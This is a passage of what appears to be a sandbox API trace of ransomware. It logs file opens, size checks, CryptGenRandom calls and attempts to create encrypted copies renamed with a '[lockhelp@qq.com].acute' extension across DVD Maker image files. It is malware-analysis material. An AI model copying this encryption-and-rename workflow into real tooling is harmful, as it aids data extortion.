maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.540] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.540] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=24066) returned 1 [0274.540] CloseHandle (hObject=0x30c) returned 1 [0274.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png")) returned 0x20 [0274.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.540] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.540] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2962) returned 1 [0274.540] CloseHandle (hObject=0x30c) returned 1 [0274.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png")) returned 0x20 [0274.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.541] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.541] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2928) returned 1 [0274.541] CloseHandle (hObject=0x30c) returned 1 [0274.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png")) returned 0x20 [0274.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.541] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.541] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3000) returned 1 [0274.541] CloseHandle (hObject=0x30c) returned 1 [0274.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png")) returned 0x20 [0274.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.542] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.543] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4570) returned 1 [0274.543] CloseHandle (hObject=0x30c) returned 1 [0274.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png")) returned 0x20 [0274.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.543] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.543] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=6440) returned 1 [0274.543] CloseHandle (hObject=0x30c) returned 1 [0274.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png")) returned 0x20 [0274.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.544] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.544] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2821) returned 1 [0274.544] CloseHandle (hObject=0x30c) returned 1 [0274.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png")) returned 0x20 [0274.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.544] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.544] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5620) returned 1 [0274.544] CloseHandle (hObject=0x30c) returned 1 [0274.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png")) returned 0x20 [0274.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.544] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.545] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5088) returned 1 [0274.545] CloseHandle (hObject=0x30c) returned 1 [0274.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png")) returned 0x20 [0274.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.545] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.545] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3130) returned 1 [0274.545] CloseHandle (hObject=0x30c) returned 1 [0274.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0274.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.545] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.545] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5025) returned 1 [0274.545] CloseHandle (hObject=0x30c) returned 1 [0274.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png")) returned 0x20 [0274.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.546] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.546] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3118) returned 1 [0274.546] CloseHandle (hObject=0x30c) returned 1 [0274.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png")) returned 0x20 [0274.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.546] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.546] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4955) returned 1 [0274.546] CloseHandle (hObject=0x30c) returned 1 [0274.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png")) returned 0x20 [0274.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.546] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.547] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3081) returned 1 [0274.547] CloseHandle (hObject=0x30c) returned 1 [0274.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png")) returned 0x20 [0274.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.552] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.596] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=195804) returned 1 [0274.596] CloseHandle (hObject=0x30c) returned 1 [0274.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png")) returned 0x20 [0274.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.596] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.597] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2910) returned 1 [0274.597] CloseHandle (hObject=0x30c) returned 1 [0274.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png")) returned 0x20 [0274.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 